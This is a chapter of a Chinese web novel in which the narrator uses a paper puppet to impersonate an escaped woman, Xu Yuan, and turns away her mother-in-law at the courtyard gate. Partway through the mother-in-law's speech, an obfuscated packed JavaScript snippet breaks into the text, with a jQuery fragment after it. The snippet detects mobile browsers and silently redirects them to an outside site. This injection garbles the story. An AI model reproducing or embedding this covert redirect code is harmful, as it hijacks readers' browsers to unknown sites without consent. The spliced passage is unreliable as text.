院门在张广茂身后轻轻合上，发出沉闷的声响。


    我关上门，插上门闩。


    木栓与门框咬合的声音沉闷而笃定，像某种宣告。但我知道，这扇门挡不住人心里的猜忌，也挡不住即将到来的七天。


    转过身，目光落在那些所谓的“供品”上。


    米面猪肉，香烛纸钱，还有那个用红布包着的、沉甸甸的红糖鸡蛋。阳光照在那些东西上，本该是温暖的色泽，却泛着一种说不清的、油腻的光。


    我弯腰，先拎起竹篮。香烛是村里小卖部最常见的那种，红蜡细得像筷子，一包十根，用草纸粗糙地捆着。纸钱倒是厚厚一摞，黄表纸裁得方正，边缘还带着毛边。我把那包红纸裹着的东西拿出来，拆开。


    是钱。


    五十元一张的钞票，整整齐齐叠着，我数了数，四张，两百块。在这个村子里，不算是小数目。


    我把钱重新包好，放进怀里。又去看麻袋，米是陈米，凑近了能闻到一股淡淡的霉味。面倒是新的，白得有些扎眼。猪肉肥多瘦少，皮上还盖着蓝色的检疫章，墨迹已经晕开了。那条鱼还活着，嘴巴一张一合，腮边渗着血丝，眼珠子蒙着一层白膜，直愣愣地瞪着天空。


    我把鱼拎出来，走到水缸边，找了只破木盆，舀了半盆水，把鱼放进去。鱼在盆里扑腾了两下，溅起一片水花，然后慢慢安静下来，只有尾巴偶尔摆动一下，证明它还活着。


    “七天。”我低声重复着这个数字，像是在提醒自己。


    七天，纸人要在这里，扮演一个“求子”的女人。七天，白濯心要确保没有任何人闯进来，发现真相。七天，许媛要在外面，逃得足够远，远到这个村子、这些人再也找不到她。


    七天。


    听起来不长。可每一分、每一秒，都可能是悬崖边上行走。


    我直起身，拍了拍手上的灰，转身回屋。堂屋里，长明灯还亮着，火苗在玻璃罩里微微晃动，将我的影子投在墙上，拉得细长，扭曲。我在供桌前站定，看着神像那张模糊的脸。


    “七天。”我又说了一遍，这次是对着神像说的，“您要真有灵，就保佑这个可怜的女人平安。至于其他的……”


    记忆里，白濯心并没有说完。


    接着弯腰，从抽屉里找出三炷香，点燃，插/进香炉。青烟笔直上升，在接近屋顶的地方散开，融进昏暗的光线里。


    做完这些，我走上楼。


    二楼的走廊依旧昏暗。尽头那扇窗户开着一条缝，晨风灌进来，带着后山树林特有的、潮湿的草木气息。随后，我推开房间的门。


    纸人还躺在床上，保持着侧卧的姿势，背对着门。被子盖到肩膀，只露出半个后脑勺和散在枕上的黑发。阳光透过窗帘的缝隙，恰好落在它露在外面的那只手上。那只手苍白，手指纤细，指甲修剪得整齐，连指关节微微凸起的弧度，都和许媛一模一样。


    我走到床边，在椅子上坐下。


    “他们走了。”我说，声音不高，像是在自言自语，又像是在对床上这个“人”说话，“东西送来了，张广茂信没信，我不知道。但他给了七天时间。”


    纸人没有动。


    我继续说：“这七天，你得‘活’着。吃饭，睡觉，偶尔在窗口露个面。不能说话太多，言多必失。也不能不说话，会惹人怀疑。我会教你，该说什么，该做什么。”


    床上传来很轻的窸窣声。


    纸人慢慢转过身。它的动作还是有些滞涩，关节处似乎能听见细微的、纸页摩擦的声响，但在昏暗的光线下，并不明显。它看着我，那双被点睛的眼睛，空洞，却又似乎有光在深处流转。


    “你……”我顿了顿，想起记忆中白濯心操控傀儡时的那些细节，“你能听懂我的话，对吗？”


    纸人点了点头。很轻微的一个动作，但确实是在回应。


    “好。”我深吸一口气，开始说，“今天，你就躺着，说累了，要休息。明天，你可以坐在窗前，但不能开窗。后天，如果天气好，我扶你去院子里坐一会儿，但只能坐一小会儿，而且要低着头，装出身体虚弱的样子。有人来，你就照我教你的说。你是来求子的，法事期间，不能见生人，尤其是男人，否则前功尽弃。记住了吗？”


    纸人又点了点头。


    它的“学习”能力，或者说，白濯心留在它身上的某种“指令”的响应能力，比我想象的要好。这让我稍微松了口气，但心底那根弦，依旧绷得死紧。


    “现在，躺好，闭上眼睛。”我说，“如果有人靠近院子，或者上楼，我会告诉你。”


    纸人依言躺平，闭上眼睛。长长的睫毛覆下来，在苍白的脸颊上投下两弯浅淡的阴影。它胸口开始规律地起伏，呼吸声很轻，很均匀，像真的睡着了。


    我坐在椅子上，看着它。


    阳光在房间里缓慢移动，从床尾爬到床中央，落在纸人盖着的被子上。被面是粗蓝布，洗得发白，上面有细小的、深色的斑点，不知是洗不掉的污渍，还是原本的印花。光斑在那些斑点上跳跃，明明灭灭。


    时间过得很慢。


    每一刻，都像被拉长了，掰碎了，细细研磨。我能听见自己的心跳，听见屋外风吹过槐树叶子的沙沙声，听见远处谁家在劈柴，斧头落下的闷响，一下，又一下。


    快到中午时，院门外又传来脚步声。


    很轻，试探性的，走走停停。


    我站起身，走到窗边，掀开窗帘一角往下看。


    是张勤奋他娘。


    老妇人挎着个小竹篮，篮子上盖着块蓝花布。她站在院门外，伸着脖子往院里张望，却不敢敲门，只是来来回回地踱步，脸上满是犹豫和不安。她时不时抬头看看二楼窗户的方向，嘴唇翕动着，像是在自言自语。


    我放下窗帘，没有立刻下去。


    让她等一会儿。等得越久，她心里那点犹豫和愧疚，或许能多发酵出一点“相信”。


    大约过了一刻钟，我才慢吞吞地下楼，拉开堂屋的门，走到院子里。我没有开院门，只是隔着门板问：“谁啊？”


    “是、是我。”老妇人的声音从门外传来，带着点讨好，又带着点怯懦，“白婆婆，是我，勤奋他娘。”


    “有事吗？”我的声音没什么起伏。


    “我……我来看看许老师。”老妇人说，声音更低了，“她……她还好吗？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100089|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昨天闹了那么一出，我怕她吓着了。我带了自己蒸的馍，还、还有两个鸡蛋，煮好的，给她补补身子……”


    “法事期间，不能见外人。”我说，语气硬了些，“尤其是你。你是她婆婆，身上带着张家的‘阳气’，冲撞了，法事就白做了。”


    门外沉默了一会儿。


    我能想象老妇人此刻的表情，那张布满皱纹的脸一定垮了下来，眼神里满是无措和失望。


    “我、我不进去，就隔着门，说两句话，行吗？”她几乎是在哀求，“我就想听听她的声音，知道她没事……我这心里，实在不踏实。”


    我叹了口气。有时候，拒绝得太彻底，反而引人怀疑。


    “等着。”我说。


    转身回屋，上楼。


    纸人还“睡”着。我走到床边，俯身，在它耳边低声说了几句。它眼皮动了动，慢慢睁开眼，那双空洞的眼睛看着我，然后，点了点头。


    我扶它坐起来，靠在床头。它的身体很轻，像一片羽毛，但靠上去的质感，却又有一种诡异的、近似人体的柔软和温度。这是傀术最诡异的地方，它能让没有生命的东西，短暂地拥有生命的“表象”。


    “到窗边来。”我低声说，扶着它下床，走到窗前。


    我拉开窗帘一条缝，刚好能让楼下的人看见一个模糊的侧影，又看不清具体样貌。纸人按照我的指示，微微侧身，脸朝着窗户的方向，嘴唇轻轻开合，像是在说话，却没有发出声音。


    然后，我下楼，走到院门后。


    “许老师就在楼上窗边。”我对门外的老太太说，“你可以跟她说话，但别大声，别问不该问的。法事要紧。”


    “哎，哎，好！”老妇人的声音立刻激动起来。


    我退开几步，站在檐廊的阴影里，听着。


    “儿媳……”老妇人的声音带着哽咽，从门缝里飘进来，“儿媳，是娘啊……你、你还好吗？昨天是娘不好，娘不该带那么多人来……娘就是着急，怕你出事……”


    楼上，纸人没有回应。


    但老妇人似乎看到了她想看的，那个倚在窗边的、穿着碎花衬衫的侧影。她的声音更激动了：“你好好跟着白婆婆……娘等着你，等着你给咱们张家添个大胖小子……娘不逼你，不急了，你慢慢来，好好养着……”


    她絮絮叨叨说了很多，大多是些车轱辘话，反复表达歉意，反复叮嘱，反复许诺。


    我靠在冰凉的砖墙上，听着那些话，心里没有半点波澜。这些话，几分真，几分假，只有她自己知道。或许此刻的愧疚是真的，但等“许媛”回去，又逃了，或者生不出孩子，这份愧疚很快就会变成新的、更深的怨怼。


    这就是这个村子的逻辑。简单，直接，残酷。


    老妇人说了大概十分钟，终于停了下来。她似乎也意识到楼上的人不会回应她，有些讪讪的。


    “那……那我走了。”她说，声音低了下去，“馍和鸡蛋，我放门口了。白婆婆，麻烦您……多费心。”


    接着是窸窸窣窣的声音，她似乎把篮子放在了门外的地上。然后是脚步声，慢慢远去，带着迟疑，带着不舍，最终消失在村道的尽头。